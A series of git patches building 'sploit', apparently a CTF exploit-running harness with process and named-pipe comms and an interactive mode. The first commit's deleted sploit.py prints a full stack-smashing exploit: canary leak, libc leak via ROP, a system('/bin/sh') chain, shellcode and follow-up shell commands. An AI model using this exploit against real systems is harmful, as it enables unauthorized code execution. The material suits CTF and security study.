From 72cf7bc384249a4140dbcfc3898589c1d83b6e25 Mon Sep 17 00:00:00 2001 From: dusoleil Date: Mon, 30 Aug 2021 05:00:00 -0400 Subject: Sploit Rework MVP Structure, Packaging, and Comms First part of the MVP for the larger Sploit rework effort. Add project structure, python packaging, basic comms, and "log" hook. From in or out of the sploit directory, you can run the "sploit.py" script, run python -m sploit, or import the sploit modules from the python3 shell. You can also pip install Sploit and from anywhere you can run the sploit command, run python -m sploit, or import the sploit modules from the python3 shell. Running as a standalone application, Sploit can run in a "target" mode, a "pipe" mode, and a "pipe daemon" mode. In "target" mode, Sploit will launch a target program as a subprocess and run an exploit script against its I/O. In "pipe" mode, Sploit will create named fifos and wait for a program to connect to them to run an exploit script against them. In "pipe daemon" mode, Sploit will run similar to the "pipe" mode, but automatically recreate the fifos with the same name after each execution. Basic comm operations of read, readline, write, and writeline are available to the exploit script. A "log" hook is executed whenever data is read in from the target program. This will just print the data out, but it can be configured to decode it with a specific encoding or you could replace the function for different behavior. Signed-off-by: dusoleil --- tools/sploit/__init__.py | 4 + tools/sploit/setup.py | 7 ++ tools/sploit/sploit | 1 - tools/sploit/sploit.py | 206 +--------------------------------------- tools/sploit/sploit/__init__.py | 1 + tools/sploit/sploit/__main__.py | 1 + tools/sploit/sploit/comm.py | 68 +++++++++++++ tools/sploit/sploit/log.py | 6 ++ tools/sploit/sploit/main.py | 44 +++++++++ tools/sploit/sploitconfig.py | 13 --- tools/sploit/sploitlog.py | 17 ---- tools/sploit/sploitpipe | 1 - tools/sploit/sploitpipe.sh | 21 ---- tools/sploit/sploitrunner.py | 38 -------- tools/sploit/sploitutil.py | 34 ------- 15 files changed, 133 insertions(+), 329 deletions(-) create mode 100644 tools/sploit/__init__.py create mode 100644 tools/sploit/setup.py delete mode 120000 tools/sploit/sploit create mode 100644 tools/sploit/sploit/__init__.py create mode 120000 tools/sploit/sploit/__main__.py create mode 100644 tools/sploit/sploit/comm.py create mode 100644 tools/sploit/sploit/log.py create mode 100644 tools/sploit/sploit/main.py delete mode 100755 tools/sploit/sploitconfig.py delete mode 100755 tools/sploit/sploitlog.py delete mode 120000 tools/sploit/sploitpipe delete mode 100755 tools/sploit/sploitpipe.sh delete mode 100755 tools/sploit/sploitrunner.py delete mode 100755 tools/sploit/sploitutil.py (limited to 'tools') diff --git a/tools/sploit/__init__.py b/tools/sploit/__init__.py new file mode 100644 index 0000000..8a53886 --- /dev/null +++ b/tools/sploit/__init__.py @@ -0,0 +1,4 @@ +from os.path import join, dirname +libpath=join(dirname(__file__),"sploit") +__path__ = [libpath] +exec(open(join(libpath,"__init__.py")).read()) diff --git a/tools/sploit/setup.py b/tools/sploit/setup.py new file mode 100644 index 0000000..eb1b299 --- /dev/null +++ b/tools/sploit/setup.py @@ -0,0 +1,7 @@ +from setuptools import setup +setup( + name='sploit', + version='0', + packages=['sploit'], + entry_points={"console_scripts":["sploit=sploit.main:main"]} + ) diff --git a/tools/sploit/sploit b/tools/sploit/sploit deleted file mode 120000 index 1ba655a..0000000 --- a/tools/sploit/sploit +++ /dev/null @@ -1 +0,0 @@ -sploit.py \ No newline at end of file diff --git a/tools/sploit/sploit.py b/tools/sploit/sploit.py index b277cb0..fd9b482 100755 --- a/tools/sploit/sploit.py +++ b/tools/sploit/sploit.py @@ -1,205 +1,3 @@ #!/usr/bin/env python3 - -#if sploit is called with command line arguments, -#it will use them to call the target program with popen -#otherwise, sploit will use stdin/stdout -#you can use sploitpipe to run sploit with pipes spltin/spltout -#which can be used with the target program -#spltout -#or from within gdb -#r spltout -#if given a program name on the command line, we'll use popen -#otherwise, we use stdin/stdout -#in the latter case, you can use sploitpipe to set up spltin and spltout - -import time - -import sploitutil as util -import sploitrunner - -#specify which glibc offsets to use -testing = True - -#puts,system,and binsh string offsets into glibc -#https://libc.blukat.me/ -#https://libc.rip/ -#search two functions and the least significant 12 bits of their address -#then use the resulting glibc to get offsets for the exploit -#for whatever reason, some of these are off by a small amount -#printing the contents out(even bytes of instructions) -#and comparing to what I expect in gdb has been enough to figure it out -#also, if we have the actual library -#objdump -T libc.so | grep '_puts' -#xxd libc.so | grep '/bin' - -#my kali glibc (puts:0x5f0,setvbuf:0xcd0) -#https://libc.blukat.me/?q=_IO_puts%3A5f0%2C_IO_setvbuf%3Acd0 -#libc6_2.31-9_amd64 -#str_bin_sh was off for this one. I had to subtract 0x04 to get it right -libc_offset = util.itob(0x0765f0) -libc_system = util.itob(0x048e50) -libc_execve = util.itob(0x0cb6c0) -libc_exit = util.itob(0x0cb670) -libc_binsh = util.itob(0x18a152) -libc_poprdx_poprbx = util.itob(0x1376e2) -#target glibc (puts:0x5a0,setvbuf:0xe60) -#https://libc.blukat.me/?q=_IO_puts%3A5a0%2C_IO_setvbuf%3Ae60 -#libc6_2.31-0ubuntu9.2_amd64 (3 listed, but all I care about was the same) -if not testing: - libc_offset = util.itob(0x0875a0) - libc_system = util.itob(0x055410) - libc_execve = util.itob(0x0e62f0) - libc_exit = util.itob(0x0e6290) - libc_binsh = util.itob(0x1b75aa) - libc_poprdx_poprbx = util.itob(0x162866) - -frame_len = 0x108 - -string = b'Hello, World!\n' - -shellcode = b'\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0e\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff'+string - -payloads = { - 'null' : util.itob(0x00), - #stack smash - 'fill' : b'A'*(frame_len), - 'string' : string+b'A'*(frame_len-len(string)), - 'shellcode' : b'\x90'*(frame_len-len(shellcode))+shellcode, - 'canary' : util.itob(0xdeadbeef), - #stack addresses - 'buffaddr' : util.itob(0x7fffffff0000), - #static addresses - 'startaddr' : util.itob(0x4005d0), - 'targetaddr' : util.itob(0x400725), - 'pltaddr' : util.itob(0x4005c0), - 'gotaddr' : util.itob(0x600fe8), - 'gotaddr2' : util.itob(0x601030), - #rop gadgets - 'ret' : util.itob(0x400801), - 'poprdi' : util.itob(0x400873), - 'poprsi_popr15' : util.itob(0x400871) -} - - -def sploit(stdin, stdout): - c = util.Communication(stdin,stdout) - - def preamble(): - #preamble - c.recv() - #smash the stack up to canary - #+ a newline to overwrite the null and delimit the next two readlines - c.send( payloads['fill'] - +b'\n') - #most of the echo - c.recv() - #get the canary from the echo - out = c.recv() - canary = b'\x00'+out[:7] - return canary - - #rop to find the address of setvbuf in memory - #for the purpose of looking up the glibc offsets in a database - canary = preamble() - ropchain = payloads['poprdi'] #pop rdi,ret - ropchain += payloads['gotaddr2'] #rdi; pointer to setvbuf.got - ropchain += payloads['pltaddr'] #ret puts - #rop to find the address of puts in memory - #for the purpose of looking up the glibc offsets in a database - #and then we will use this to calculate our glibc base at runtime - ropchain += payloads['poprdi'] #pop rdi,ret - ropchain += payloads['gotaddr'] #rdi; pointer to puts.got - ropchain += payloads['pltaddr'] #ret puts - ropchain += payloads['startaddr'] #ret _start to fix stack - #smash stack again, but with canary and rop - #this will print out the address of puts in memory - c.send( payloads['fill'] - +canary - +payloads['buffaddr'] - +ropchain) - - #get the glibc puts address - c.recv() - out = c.recv() - libc_addr = out[:8] - #if puts() terminated on a \x00 (like the most sig bits of an address) - #our [:8] might get less than 8 bytes of address + a newline - #so strip that newline - if libc_addr[-1:] == b'\n': - libc_addr = libc_addr[:-1] - #calculate glibc base address - libc = util.Libc(libc_addr,libc_offset) - libc_base = libc.base() - #use that to calculate other glibc addresses - system_addr = libc.addr(libc_system) - execve_addr = libc.addr(libc_execve) - exit_addr = libc.addr(libc_exit) - binsh_addr = libc.addr(libc_binsh) - poprdx_poprbx_addr = libc.addr(libc_poprdx_poprbx) - - canary = preamble() - #print first few bytes of glibc - #this is to validate our offset - #a proper ELF file starts with '\x7fELF' - ropchain = payloads['poprdi'] #pop rdi,ret - ropchain += libc_base #rdi; pointer to glibc - ropchain += payloads['pltaddr'] #ret puts - #rop to puts("/bin/sh") - #this is to validate our offset - ropchain += payloads['poprdi'] #pop rdi,ret - ropchain += binsh_addr #rdi; pointer to "/bin/sh" - ropchain += payloads['pltaddr'] #ret puts - ropchain += payloads['startaddr'] #ret _start - c.send( payloads['fill'] - +canary - +payloads['buffaddr'] - +ropchain) - c.recv() - c.recv() - - #rop to execve("/bin/sh",0,0) - #canary = preamble() - #ropchain = payloads['poprdi'] #pop rdi,ret - #ropchain += binsh_addr #rdi; pointer to "/bin/sh" - #ropchain += payloads['poprsi_popr15'] #pop rsi,pop r15,ret - #ropchain += payloads['null'] #rsi - #ropchain += payloads['null'] #r15 - #ropchain += poprdx_poprbx_addr #pop rdx,pop rbx,ret - #ropchain += payloads['null'] #rdx - #ropchain += payloads['null'] #rbx - #ropchain += execve_addr #ret execve - #ropchain += payloads['poprdi'] #pop rdi,ret - #ropchain += payloads['null'] #rdi 0 - #ropchain += exit_addr #ret exit to exit cleanly - - #rop to system("/bin/sh") - canary = preamble() - ropchain = payloads['poprdi'] #pop rdi,ret - ropchain += binsh_addr #rdi; pointer to "/bin/sh" - ropchain += payloads['ret'] #extra ret for 16byte stack alignment - ropchain += system_addr #ret system - ropchain += payloads['poprdi'] #pop rdi,ret - ropchain += payloads['null'] #rdi 0 - ropchain += exit_addr #ret exit to exit cleanly - c.send( payloads['fill'] - +canary - +payloads['buffaddr'] - +ropchain) - - #we need to synchronize when read() finishes before sending more data - #we could insert another puts() into the rop and call c.recv() - #or we can just sleep for a second - time.sleep(1) - - #try some shell commands - c.send(b'whoami\n') - c.send(b'pwd\n') - c.send(b'ls\n') - c.send(b'cat flag\n') - c.send(b'cat flag.txt\n') - c.send(b'exit\n') - - return - -#run our sploit -sploitrunner.runsploit(sploit) +from sploit.main import main +main() diff --git a/tools/sploit/sploit/__init__.py b/tools/sploit/sploit/__init__.py new file mode 100644 index 0000000..c7d2c93 --- /dev/null +++ b/tools/sploit/sploit/__init__.py @@ -0,0 +1 @@ +__all__ = ["log","comm"] diff --git a/tools/sploit/sploit/__main__.py b/tools/sploit/sploit/__main__.py new file mode 120000 index 0000000..98537fc --- /dev/null +++ b/tools/sploit/sploit/__main__.py @@ -0,0 +1 @@ +../sploit.py \ No newline at end of file diff --git a/tools/sploit/sploit/comm.py b/tools/sploit/sploit/comm.py new file mode 100644 index 0000000..009f193 --- /dev/null +++ b/tools/sploit/sploit/comm.py @@ -0,0 +1,68 @@ +import subprocess +import tempfile +import os + +from sploit.log import log + +class Comm: + def __init__(self, backend): + self.back = backend + + def __del__(self): + for line in self.back.stdin: + log(line) + + def read(self, size): + data = self.back.stdin.read(size) + log(data) + return data + + def readline(self): + data = self.back.stdin.readline() + log(data) + return data + + def write(self, data): + self.back.stdout.write(data) + self.back.stdout.flush() + + def writeline(self, data): + self.write(data + b'\n') + +class Process: + def __init__(self, args): + print(f"Running: {' '.join(args)}") + self.proc = subprocess.Popen(args, + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT) + print(f"PID: {self.proc.pid}") + self.stdin = self.proc.stdout + self.stdout = self.proc.stdin + + def __del__(self): + self.proc.wait() + +class Pipes: + def __init__(self,tmp=None): + if(tmp == None): + self.dir = tempfile.TemporaryDirectory() + dirname = self.dir.name + else: + dirname = os.path.join("/tmp",tmp) + self.pathin = os.path.join(dirname,"in") + self.pathout = os.path.join(dirname,"out") + os.mkfifo(self.pathin) + os.mkfifo(self.pathout) + print("Waiting on Target to Connect...") + print("<"+self.pathin+" >"+self.pathout) + self.stdout = open(self.pathin,"wb") + self.stdin = open(self.pathout, "rb") + print("Connected!") + + def __del__(self): + self.stdout.close() + self.stdin.close() + os.unlink(self.pathin) + os.unlink(self.pathout) + diff --git a/tools/sploit/sploit/log.py b/tools/sploit/sploit/log.py new file mode 100644 index 0000000..cd9c3be --- /dev/null +++ b/tools/sploit/sploit/log.py @@ -0,0 +1,6 @@ +ENCODING = '' +def log(s): + if ENCODING != '': + s = s.decode(ENCODING) + print(s) + diff --git a/tools/sploit/sploit/main.py b/tools/sploit/sploit/main.py new file mode 100644 index 0000000..ebcbd41 --- /dev/null +++ b/tools/sploit/sploit/main.py @@ -0,0 +1,44 @@ +import argparse +import tempfile + +from sploit.comm import * + +def main(): + parser = argparse.ArgumentParser(description='Execute Sploit Script Against Target') + parser.add_argument('-d', '--daemon', action='store_true', + help='run in "daemon" mode with pipes instead of a designated target') + parser.add_argument('script', + help='exploit script to run') + parser.add_argument('target', nargs=argparse.REMAINDER, + help='target program to exploit') + args = parser.parse_args() + + if(len(args.target)>0): + if(args.daemon): + print("Target Given. Ignoring Daemon Flag...") + target(args.script,args.target) + else: + if(args.daemon): + daemon(args.script) + else: + pipe(args.script) + +def daemon(script): + print("Running in Pipe Daemon Mode...") + tmpdir = tempfile.TemporaryDirectory() + tmp = os.path.split(tmpdir.name)[1] + while(True): + runscript(script,Comm(Pipes(tmp))); + +def pipe(script): + print("Running in Pipe Mode..."); + runscript(script,Comm(Pipes())); + +def target(script,target): + print("Running in Target Mode...") + runscript(script,Comm(Process(target))); + +def runscript(script,comm): + print("Running Script...") + exec(open(script).read()) + diff --git a/tools/sploit/sploitconfig.py b/tools/sploit/sploitconfig.py deleted file mode 100755 index 084a59d..0000000 --- a/tools/sploit/sploitconfig.py +++ /dev/null @@ -1,13 +0,0 @@ -#!/usr/bin/env python3 - -import sys - -#if given a program name on the command line, we'll use popen -#otherwise, we use stdin/stdout -#in the latter case, you can use sploitpipe to set up spltin and spltout -use_popen = len(sys.argv) > 1 -#sleep for this many seconds to give time to attach gdb -wait_for_gdb = 0 -#will decode output with this encoding for printing -#or if empty, will print as bytes -log_encoding = ''#'utf-8' diff --git a/tools/sploit/sploitlog.py b/tools/sploit/sploitlog.py deleted file mode 100755 index eab1fc7..0000000 --- a/tools/sploit/sploitlog.py +++ /dev/null @@ -1,17 +0,0 @@ -#!/usr/bin/env python3 - -import os - -import sploitconfig as config - -#this function does not look at the run mode and will write to stdout regardless -#use sploitutil.log instead -def sploitlog(s): - if config.log_encoding != '': - s = s.decode(config.log_encoding) - print(s) - -if __name__ == '__main__': - stdin = os.fdopen(0,"rb") - for s in stdin: - sploitlog(s) diff --git a/tools/sploit/sploitpipe b/tools/sploit/sploitpipe deleted file mode 120000 index 3e5a956..0000000 --- a/tools/sploit/sploitpipe +++ /dev/null @@ -1 +0,0 @@ -sploitpipe.sh \ No newline at end of file diff --git a/tools/sploit/sploitpipe.sh b/tools/sploit/sploitpipe.sh deleted file mode 100755 index a761ad5..0000000 --- a/tools/sploit/sploitpipe.sh +++ /dev/null @@ -1,21 +0,0 @@ -#!/bin/bash - -#sets up sploit.py to use the input/output of a target program -#after running ./sploit you can launch the target program with -#spltout -#also works in gdb -#r spltout -#or run the program in the background and set the gdb wait timer in sploit.py -# spltout & -# gdb -p - -rm spltin 2> /dev/null -rm spltout 2> /dev/null - -mkfifo spltin -mkfifo spltout - -(./sploit.py &>spltin) | ./sploitlog.py - -rm spltin -rm spltout diff --git a/tools/sploit/sploitrunner.py b/tools/sploit/sploitrunner.py deleted file mode 100755 index f0e5ac6..0000000 --- a/tools/sploit/sploitrunner.py +++ /dev/null @@ -1,38 +0,0 @@ -#!/usr/bin/env python3 - -import os -import sys -import subprocess -import time - -import sploitconfig as config -import sploitutil as util - -#infrastructure to run sploit -#if sploit is called with command line arguments, -#it will use them to call the target program with popen -#otherwise, sploit will use stdin/stdout -#you can use sploitpipe to run sploit with pipes spltin/spltout -#which can be used with the target program -#spltout -#or from within gdb -#r spltout -def runsploit(sploit): - if config.use_popen: - print(sys.argv[1:]) - p = subprocess.Popen(sys.argv[1:],stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.STDOUT) - - stdin = p.stdout if config.use_popen else os.fdopen(0,"rb") - stdout = p.stdin if config.use_popen else os.fdopen(1,"wb") - - if config.wait_for_gdb > 0: - time.sleep(config.wait_for_gdb) - - #exec custom sploit - sploit(stdin,stdout) - - #read anything else out and wait for termination - for line in stdin: - util.log(line) - if config.use_popen: - p.wait() diff --git a/tools/sploit/sploitutil.py b/tools/sploit/sploitutil.py deleted file mode 100755 index 00d2151..0000000 --- a/tools/sploit/sploitutil.py +++ /dev/null @@ -1,34 +0,0 @@ -#!/usr/bin/env python3 - -import sploitconfig as config -from sploitlog import sploitlog - -def btoi(b): - return int.from_bytes(b,'little') - -def itob(i): - return i.to_bytes(8,'little',signed=True) - -class Libc: - def __init__(self,libc_addr,libc_offset): - self.libc_base = btoi(libc_addr)-btoi(libc_offset) - def base(self): - return itob(self.libc_base) - def addr(self,offset): - return itob(self.libc_base + btoi(offset)) - -def log(s): - if config.use_popen: - sploitlog(s) - -class Communication: - def __init__(self,stdin,stdout): - self.stdin = stdin - self.stdout = stdout - def send(self,s): - self.stdout.write(s) - self.stdout.flush() - def recv(self): - out = self.stdin.readline() - log(out) - return out -- cgit v1.2.3 From 26b1c7a2c68d0747784cc5cebe71f835e8e24255 Mon Sep 17 00:00:00 2001 From: dusoleil Date: Tue, 31 Aug 2021 19:32:24 -0400 Subject: Use With Statement for Temporary Directory Signed-off-by: dusoleil --- tools/sploit/sploit/main.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) (limited to 'tools') diff --git a/tools/sploit/sploit/main.py b/tools/sploit/sploit/main.py index ebcbd41..6d181b8 100644 --- a/tools/sploit/sploit/main.py +++ b/tools/sploit/sploit/main.py @@ -25,10 +25,10 @@ def main(): def daemon(script): print("Running in Pipe Daemon Mode...") - tmpdir = tempfile.TemporaryDirectory() - tmp = os.path.split(tmpdir.name)[1] - while(True): - runscript(script,Comm(Pipes(tmp))); + with tempfile.TemporaryDirectory() as tmpdir: + tmp = os.path.split(tmpdir)[1] + while(True): + runscript(script,Comm(Pipes(tmp))); def pipe(script): print("Running in Pipe Mode..."); -- cgit v1.2.3 From e5b172c56c2e5d2f55de884b65ac8457dc638075 Mon Sep 17 00:00:00 2001 From: dusoleil Date: Tue, 31 Aug 2021 19:32:59 -0400 Subject: Add readuntil() and readlineuntil() to Comms Both new functions check the input for a predicate and keep reading until the predicate is true. readuntil() will consume input byte by byte and use the entire string read to check the predicate. It will then return that entire string. readlineuntil() consumes input line by line and only uses the last line to check the predicate. The line that satisfies the predicate is all that is returned. Signed-off-by: dusoleil --- tools/sploit/sploit/comm.py | 14 ++++++++++++++ 1 file changed, 14 insertions(+) (limited to 'tools') diff --git a/tools/sploit/sploit/comm.py b/tools/sploit/sploit/comm.py index 009f193..9b68c38 100644 --- a/tools/sploit/sploit/comm.py +++ b/tools/sploit/sploit/comm.py @@ -22,6 +22,20 @@ class Comm: log(data) return data + def readuntil(self,pred): + data = b'' + while(not pred(data)): + data += self.back.stdin.read(1) + log(data) + return data + + def readlineuntil(self,pred): + data = b'' + while(not pred(data)): + data = self.back.stdin.readline() + log(data) + return data + def write(self, data): self.back.stdout.write(data) self.back.stdout.flush() -- cgit v1.2.3 From 6c9cfe00f92ab119f83df35542676018027a290e Mon Sep 17 00:00:00 2001 From: dusoleil Date: Tue, 31 Aug 2021 19:35:35 -0400 Subject: Add Interactive Mode to Comms comm.interact() will drop the user into an "interactive" mode where they can directly control what is sent. A SIGINT (Ctrl+C) will drop the script out of interactive mode and continue executing the rest of the script. If the output of the program (input into our script) goes into a broken state (such as when the target program exits), interactive mode will automatically exit. Signed-off-by: dusoleil --- tools/sploit/sploit/comm.py | 50 ++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 49 insertions(+), 1 deletion(-) (limited to 'tools') diff --git a/tools/sploit/sploit/comm.py b/tools/sploit/sploit/comm.py index 9b68c38..0b5bc2a 100644 --- a/tools/sploit/sploit/comm.py +++ b/tools/sploit/sploit/comm.py @@ -1,6 +1,10 @@ import subprocess +import threading import tempfile import os +import sys +import select +import signal from sploit.log import log @@ -43,13 +47,57 @@ class Comm: def writeline(self, data): self.write(data + b'\n') + def interact(self): + print("Interact Mode") + syncstop = threading.Event() + def readloop(): + poll = select.poll() + poll.register(self.back.stdin) + def readall(): + while(True): + data = self.back.stdin.readline() + if(data == b''): + break + log(data) + while not syncstop.isSet(): + readall() + dat = poll.poll(100) + if(len(dat)>0): + if(dat[0][1] & select.POLLIN): + readall() + else: + syncstop.set() + os.set_blocking(self.back.stdin.fileno(),False) + readthread = threading.Thread(target=readloop,daemon=True) + readthread.start() + stdin = sys.stdin.buffer + signal.signal(signal.SIGALRM,lambda: 0) + while not syncstop.isSet(): + try: + signal.alarm(1) + data = stdin.readline() + if(data and not syncstop.isSet()): + self.write(data) + else: + break + except TypeError: + pass + except KeyboardInterrupt: + break + signal.alarm(0) + syncstop.set() + readthread.join() + os.set_blocking(self.back.stdin.fileno(),True) + print("Interact Mode Done") + class Process: def __init__(self, args): print(f"Running: {' '.join(args)}") self.proc = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, - stderr=subprocess.STDOUT) + stderr=subprocess.STDOUT, + preexec_fn=lambda : os.setpgrp()) print(f"PID: {self.proc.pid}") self.stdin = self.proc.stdout self.stdout = self.proc.stdin -- cgit v1.2.3 From bb1e791ab1272145f3d245397fcf7caaaa58a8ea Mon Sep 17 00:00:00 2001 From: dusoleil Date: Tue, 31 Aug 2021 20:10:10 -0400 Subject: Use Entire Path When Given The Pipe Directory Previously, you could specify a directory which must exist under /tmp. Now, you can give the full path to a directory to be used by Pipes. Signed-off-by: dusoleil --- tools/sploit/sploit/comm.py | 4 +++- tools/sploit/sploit/main.py | 3 +-- 2 files changed, 4 insertions(+), 3 deletions(-) (limited to 'tools') diff --git a/tools/sploit/sploit/comm.py b/tools/sploit/sploit/comm.py index 0b5bc2a..0e80051 100644 --- a/tools/sploit/sploit/comm.py +++ b/tools/sploit/sploit/comm.py @@ -111,7 +111,9 @@ class Pipes: self.dir = tempfile.TemporaryDirectory() dirname = self.dir.name else: - dirname = os.path.join("/tmp",tmp) + if(not os.path.exists(tmp)): + os.mkdir(tmp) + dirname = tmp self.pathin = os.path.join(dirname,"in") self.pathout = os.path.join(dirname,"out") os.mkfifo(self.pathin) diff --git a/tools/sploit/sploit/main.py b/tools/sploit/sploit/main.py index 6d181b8..7ed23d2 100644 --- a/tools/sploit/sploit/main.py +++ b/tools/sploit/sploit/main.py @@ -26,9 +26,8 @@ def main(): def daemon(script): print("Running in Pipe Daemon Mode...") with tempfile.TemporaryDirectory() as tmpdir: - tmp = os.path.split(tmpdir)[1] while(True): - runscript(script,Comm(Pipes(tmp))); + runscript(script,Comm(Pipes(tmpdir))); def pipe(script): print("Running in Pipe Mode..."); -- cgit v1.2.3 From 7febf6dc60205369e813bfe1f3a59922081f44b6 Mon Sep 17 00:00:00 2001 From: dusoleil Date: Wed, 1 Sep 2021 00:06:39 -0400 Subject: Better Info Messages Signed-off-by: dusoleil --- tools/sploit/sploit/comm.py | 4 ++-- tools/sploit/sploit/main.py | 1 + 2 files changed, 3 insertions(+), 2 deletions(-) (limited to 'tools') diff --git a/tools/sploit/sploit/comm.py b/tools/sploit/sploit/comm.py index 0e80051..f9c3a38 100644 --- a/tools/sploit/sploit/comm.py +++ b/tools/sploit/sploit/comm.py @@ -48,7 +48,7 @@ class Comm: self.write(data + b'\n') def interact(self): - print("Interact Mode") + print("<--Interact Mode-->") syncstop = threading.Event() def readloop(): poll = select.poll() @@ -88,7 +88,7 @@ class Comm: syncstop.set() readthread.join() os.set_blocking(self.back.stdin.fileno(),True) - print("Interact Mode Done") + print("<--Interact Mode Done-->") class Process: def __init__(self, args): diff --git a/tools/sploit/sploit/main.py b/tools/sploit/sploit/main.py index 7ed23d2..1ef2316 100644 --- a/tools/sploit/sploit/main.py +++ b/tools/sploit/sploit/main.py @@ -40,4 +40,5 @@ def target(script,target): def runscript(script,comm): print("Running Script...") exec(open(script).read()) + print("Script Finished!") -- cgit v1.2.3 From ffad0c5afbdc7968bb8d9de7d5ec017284dee45f Mon Sep 17 00:00:00 2001 From: dusoleil Date: Wed, 1 Sep 2021 00:10:11 -0400 Subject: Better Shutdown Process for Target Program If we need to wait on the target program to die, we don't want to just wait forever with no indication to the user. Instead, only call wait if the program is still alive, inform the user that we are doing this, and give them the ability to forcefully kill the target program with Ctrl+C. Signed-off-by: dusoleil --- tools/sploit/sploit/comm.py | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) (limited to 'tools') diff --git a/tools/sploit/sploit/comm.py b/tools/sploit/sploit/comm.py index f9c3a38..d3b1395 100644 --- a/tools/sploit/sploit/comm.py +++ b/tools/sploit/sploit/comm.py @@ -103,7 +103,14 @@ class Process: self.stdout = self.proc.stdin def __del__(self): - self.proc.wait() + if(self.proc.poll() != None): + return + try: + print("Waiting on Target Program to End...") + print("Press Ctrl+C to Forcefully Kill It...") + self.proc.wait() + except KeyboardInterrupt: + self.proc.kill() class Pipes: def __init__(self,tmp=None): -- cgit v1.2.3 From a56433c9557141fcdd7c681e818a3c8665e89e5e Mon Sep 17 00:00:00 2001 From: dusoleil Date: Wed, 1 Sep 2021 00:12:30 -0400 Subject: Better Shutdown Process for Pipes Handle all of the edge cases when shutting down in Pipes mode. e.g. If the pipes are broken (tried to write after the program died) If the fifos don't exist anymore (sometimes tempfile cleans them up before the destructor finishes when certain errors happen) If the object attributes for the streams and fifo paths aren't set (this can happen if the constructor didn't finish. e.g. the user cancels while waiting on a connection) Signed-off-by: dusoleil --- tools/sploit/sploit/comm.py | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) (limited to 'tools') diff --git a/tools/sploit/sploit/comm.py b/tools/sploit/sploit/comm.py index d3b1395..040ddd6 100644 --- a/tools/sploit/sploit/comm.py +++ b/tools/sploit/sploit/comm.py @@ -132,8 +132,11 @@ class Pipes: print("Connected!") def __del__(self): - self.stdout.close() - self.stdin.close() - os.unlink(self.pathin) - os.unlink(self.pathout) + try: + if getattr(self,'stdout',None) : self.stdout.close() + if getattr(self,'stdin',None) : self.stdin.close() + except BrokenPipeError: + pass + if getattr(self,'pathin',None) and os.path.exists(self.pathin) : os.unlink(self.pathin) + if getattr(self,'pathout',None) and os.path.exists(self.pathout) : os.unlink(self.pathout) -- cgit v1.2.3 From d28c9fe76bed900723f94527f3dc438e6d9bdc09 Mon Sep 17 00:00:00 2001 From: dusoleil Date: Wed, 1 Sep 2021 00:18:09 -0400 Subject: Move "Read Rest of Output" Out of Destructor With the "read rest of output" code in the Comm destructor, it would continue to read output even in situations where some error happened and we expect sploit to die or when the user presses Ctrl+C to end sploit. By moving it to the end of the script running code in main, it behaves more intuitively. Signed-off-by: dusoleil --- tools/sploit/sploit/comm.py | 4 ---- tools/sploit/sploit/main.py | 2 ++ 2 files changed, 2 insertions(+), 4 deletions(-) (limited to 'tools') diff --git a/tools/sploit/sploit/comm.py b/tools/sploit/sploit/comm.py index 040ddd6..59f8498 100644 --- a/tools/sploit/sploit/comm.py +++ b/tools/sploit/sploit/comm.py @@ -12,10 +12,6 @@ class Comm: def __init__(self, backend): self.back = backend - def __del__(self): - for line in self.back.stdin: - log(line) - def read(self, size): data = self.back.stdin.read(size) log(data) diff --git a/tools/sploit/sploit/main.py b/tools/sploit/sploit/main.py index 1ef2316..b1ddf13 100644 --- a/tools/sploit/sploit/main.py +++ b/tools/sploit/sploit/main.py @@ -41,4 +41,6 @@ def runscript(script,comm): print("Running Script...") exec(open(script).read()) print("Script Finished!") + for line in comm.back.stdin: + log(line) -- cgit v1.2.3 From 4ad55bd63722303ae642dd955d9496c41c8fb681 Mon Sep 17 00:00:00 2001 From: dusoleil Date: Wed, 1 Sep 2021 00:24:38 -0400 Subject: Allow Exit with Ctrl+C without a Stacktrace Signed-off-by: dusoleil --- tools/sploit/sploit/main.py | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) (limited to 'tools') diff --git a/tools/sploit/sploit/main.py b/tools/sploit/sploit/main.py index b1ddf13..6c96104 100644 --- a/tools/sploit/sploit/main.py +++ b/tools/sploit/sploit/main.py @@ -13,15 +13,18 @@ def main(): help='target program to exploit') args = parser.parse_args() - if(len(args.target)>0): - if(args.daemon): - print("Target Given. Ignoring Daemon Flag...") - target(args.script,args.target) - else: - if(args.daemon): - daemon(args.script) + try: + if(len(args.target)>0): + if(args.daemon): + print("Target Given. Ignoring Daemon Flag...") + target(args.script,args.target) else: - pipe(args.script) + if(args.daemon): + daemon(args.script) + else: + pipe(args.script) + except KeyboardInterrupt: + pass def daemon(script): print("Running in Pipe Daemon Mode...") -- cgit v1.2.3 From 6943f13dc906bdf411bcddebcaf243006addaceb Mon Sep 17 00:00:00 2001 From: dusoleil Date: Wed, 1 Sep 2021 00:25:47 -0400 Subject: Handle Exceptions in Daemon Mode If the user presses Ctrl+C while waiting on a connection, we want to gracefully exit. If the user presses Ctrl+C during the script, we want to stop executing the script and restart the loop. If any other exception happens during the script, we want to print out the stacktrace as normal, but continue the loop. Signed-off-by: dusoleil --- tools/sploit/sploit/main.py | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) (limited to 'tools') diff --git a/tools/sploit/sploit/main.py b/tools/sploit/sploit/main.py index 6c96104..bd01993 100644 --- a/tools/sploit/sploit/main.py +++ b/tools/sploit/sploit/main.py @@ -1,5 +1,6 @@ import argparse import tempfile +import traceback from sploit.comm import * @@ -30,7 +31,17 @@ def daemon(script): print("Running in Pipe Daemon Mode...") with tempfile.TemporaryDirectory() as tmpdir: while(True): - runscript(script,Comm(Pipes(tmpdir))); + try: + p = Pipes(tmpdir) + except KeyboardInterrupt: + break + try: + runscript(script,Comm(p)); + except KeyboardInterrupt: + pass + except: + traceback.print_exc() + del p def pipe(script): print("Running in Pipe Mode..."); -- cgit v1.2.3 From 0aad1e71f0bc1343d9d41c19709458e9131c19fc Mon Sep 17 00:00:00 2001 From: dusoleil Date: Wed, 1 Sep 2021 00:42:03 